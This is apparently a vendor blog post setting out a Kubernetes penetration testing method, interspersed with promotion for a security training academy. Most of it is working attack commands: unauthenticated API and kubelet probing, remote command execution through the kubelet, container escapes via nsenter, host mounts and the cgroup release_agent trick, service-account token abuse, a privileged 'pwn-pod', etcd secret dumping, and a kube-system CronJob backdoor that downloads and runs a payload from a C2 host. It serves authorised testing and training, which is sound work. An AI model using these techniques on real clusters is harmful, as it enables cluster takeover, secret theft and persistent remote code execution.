Kubernetes has become the backbone of modern cloud-native infrastructure. With its rapid adoption comes an equally rapid expansion of the attack surface. Misconfigured RBAC policies, exposed API servers, privileged containers, and insecure service accounts are just a few of the vulnerabilities that make Kubernetes clusters a high-value target for attackers.
This guide walks through a professional Kubernetes penetration testing methodology, complete with real-world tools and commands used by offensive security practitioners. Whether you are a security engineer validating your cluster's defenses or a red teamer engaged in a cloud security assessment, this guide covers the techniques that matter.
If you are looking for structured, hands-on training in Kubernetes and cloud security, Redfox Cybersecurity Academy offers purpose-built courses for offensive security professionals at every level.
Before running a single command, it is essential to map the attack surface. Kubernetes exposes multiple entry points that are commonly overlooked in production environments:
A thorough penetration test must cover all of these layers systematically.
Start by identifying whether the API server is exposed and whether it accepts unauthenticated requests.
curl -k https://<TARGET_IP>:6443/version
curl -k https://<TARGET_IP>:6443/api/v1/namespaces
curl -k https://<TARGET_IP>:6443/api/v1/pods
[cta]
If the API server responds without authentication, you have an anonymous access misconfiguration, which is a critical severity finding.
If you have obtained credentials or a kubeconfig file during initial access, use kubectl to enumerate the environment:
kubectl --kubeconfig=stolen.conf get nodes
kubectl --kubeconfig=stolen.conf get pods --all-namespaces
kubectl --kubeconfig=stolen.conf get secrets --all-namespaces
kubectl --kubeconfig=stolen.conf get serviceaccounts --all-namespaces
kubectl --kubeconfig=stolen.conf auth can-i --list
[cta]
The auth can-i --list command is particularly useful to map what privileges are attached to the compromised credential set.
kube-hunter from Aqua Security performs passive and active enumeration of a Kubernetes cluster:
pip3 install kube-hunter
kube-hunter --remote <TARGET_IP>
kube-hunter --pod # Run from within a compromised pod
[cta]
Running kube-hunter from within a pod simulates an attacker who has achieved initial access via a compromised workload, which is a common real-world scenario.
rakkess is a purpose-built tool for visualizing Kubernetes access rights:
kubectl krew install access-matrix
kubectl access-matrix
kubectl access-matrix --sa default -n default
[cta]
Look specifically for overpermissive ClusterRoles, wildcard resource permissions (*), and the cluster-admin role bound to service accounts or groups.
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.kind == "ServiceAccount") | {name: .metadata.name, role: .roleRef.name, subjects: .subjects}'
kubectl get rolebindings --all-namespaces -o json | jq '.items[] | {ns: .metadata.namespace, name: .metadata.name, role: .roleRef.name, subjects: .subjects}'
[cta]
Any service account bound to cluster-admin should be treated as a critical finding and immediately escalated in your report.
The kubelet runs on every node and exposes an API on port 10250. When anonymous authentication is enabled, this becomes a direct path to code execution on the node.
curl -sk https://<NODE_IP>:10250/pods | jq .
curl -sk https://<NODE_IP>:10250/runningpods/ | jq .
[cta]
If anonymous access is confirmed, you can run arbitrary commands inside any pod on that node:
curl -sk https://<NODE_IP>:10250/run/<namespace>/<pod-name>/<container-name> \
-d "cmd=id"
curl -sk https://<NODE_IP>:10250/run/kube-system/coredns-<hash>/coredns \
-d "cmd=cat /etc/resolv.conf"
[cta]
This technique bypasses kubectl entirely and is effective when API server credentials are unavailable but the kubelet port is reachable on the network.
The team at Redfox Cybersecurity regularly identifies exposed kubelet APIs during cloud infrastructure red team engagements. This single misconfiguration can result in full node-level compromise.
When you have a shell inside a privileged container, escaping to the host is straightforward using the nsenter approach or by mounting the host filesystem:
# Check if the container is privileged
cat /proc/1/status | grep CapEff
# If CapEff is ffffffffffffffff, you are in a privileged container
# Mount the host filesystem
mkdir /mnt/hostfs
mount /dev/sda1 /mnt/hostfs
chroot /mnt/hostfs bash
# Alternative: use nsenter to enter host namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
[cta]
Some pods mount sensitive host directories via hostPath. During enumeration, look for these in pod specs:
kubectl get pods --all-namespaces -o json | jq '.items[] | select(.spec.volumes[]?.hostPath != null) | {name: .metadata.name, ns: .metadata.namespace, volumes: .spec.volumes}'
[cta]
If /etc or /var/lib/kubelet is mounted into the pod, you can read node-level credentials and certificates directly.
Containers running with SYS_ADMIN, SYS_PTRACE, or NET_ADMIN capabilities are vulnerable to various escape techniques:
# Using SYS_ADMIN for cgroup-based escape
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "id > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output
[cta]
This technique abuses cgroup release agents to execute a command in the host's context. It is documented in CVE-2022-0492 and remains relevant in unpatched environments.
Every pod in Kubernetes is automatically assigned a service account, and its token is mounted at /var/run/secrets/kubernetes.io/serviceaccount/token by default.
# From inside a pod
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
APISERVER=https://kubernetes.default.svc
curl -sk --cacert $CACERT -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/namespaces
curl -sk --cacert $CACERT -H "Authorization: Bearer $TOKEN" $APISERVER/api/v1/secrets
[cta]
If the default service account has been granted elevated RBAC permissions, this token can be used to pivot across the cluster, enumerate secrets from all namespaces, or even create new privileged pods.
If the compromised service account has pod creation rights, you can schedule a privileged pod that mounts the host filesystem:
apiVersion: v1
kind: Pod
metadata:
name: pwn-pod
namespace: default
spec:
hostPID: true
hostIPC: true
hostNetwork: true
containers:
- name: pwn
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-vol
command: ["/bin/bash", "-c", "sleep 3600"]
volumes:
- name: host-vol
hostPath:
path: /
[cta]
Apply it with:
curl -sk --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/yaml" \
--data-binary @pwn-pod.yaml \
$APISERVER/api/v1/namespaces/default/pods
[cta]
Once the pod is running, exec into it and interact with the host filesystem via /host.
Professionals at Redfox Cybersecurity use this exact technique during Kubernetes red team operations to demonstrate the real-world impact of RBAC misconfigurations to client stakeholders.
etcd stores all cluster state, including secrets. If port 2379 is reachable and lacks mutual TLS, it is game over for the cluster.
etcdctl --endpoints=https://<ETCD_IP>:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get / --prefix --keys-only
etcdctl --endpoints=https://<ETCD_IP>:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets/default/my-secret
[cta]
Secrets stored in etcd without encryption at rest are readable as base64-encoded plaintext. This is one of the most critical findings you can report from a Kubernetes assessment.
apiVersion: batch/v1
kind: CronJob
metadata:
name: persist
namespace: kube-system
spec:
schedule: "*/5 * * * *"
jobTemplate:
spec:
template:
spec:
hostNetwork: true
hostPID: true
containers:
- name: c2
image: alpine
command: ["/bin/sh", "-c", "wget -qO- http://<C2_IP>/payload | sh"]
securityContext:
privileged: true
restartPolicy: OnFailure
[cta]
Placing a malicious CronJob in kube-system ensures persistence even if other artifacts are cleaned up, and the namespace is often monitored less closely than application namespaces.
Malicious mutating admission webhooks can intercept and modify every pod creation request in the cluster:
kubectl get mutatingwebhookconfigurations
kubectl get validatingwebhookconfigurations
kubectl describe mutatingwebhookconfigurations <webhook-name>
[cta]
Check whether any registered webhooks point to external or unexpected endpoints. This can be a sign of a prior compromise or a misconfiguration that could be abused for persistent code injection into every pod scheduled on the cluster.
ToolPurposekube-hunterAutomated cluster enumeration and vulnerability scanningrakkess / kubectl-access-matrixRBAC permission visualizationetcdctlDirect etcd interrogationkubectlNative API interaction and resource enumerationcrictlContainer runtime interrogation on nodesTrivyImage and cluster misconfiguration scanningFalcoRuntime threat detection (useful for blue team validation)
For a comprehensive curriculum covering all of these tools with practical lab environments, Redfox Cybersecurity Academy provides hands-on cybersecurity courses aligned with real-world offensive techniques.
Kubernetes penetration testing is not a single-step process. It demands a methodical approach that spans the API server, kubelet, etcd, container runtime, RBAC policies, service accounts, and network boundaries. Each layer can independently yield critical findings, and the combination of multiple medium-severity issues can often result in full cluster compromise.
The most impactful findings consistently come from the same places: anonymous API or kubelet access, wildcard RBAC permissions bound to default service accounts, privileged containers without admission controls, and etcd lacking encryption at rest or mutual TLS.
Kubernetes security is a specialization that requires both offensive intuition and deep platform knowledge. If you want to build or validate those skills in a structured environment, Redfox Cybersecurity Academy offers the training you need. For organizations seeking an expert-led Kubernetes security assessment, the team at Redfox Cybersecurity delivers comprehensive red team engagements tailored to cloud-native environments.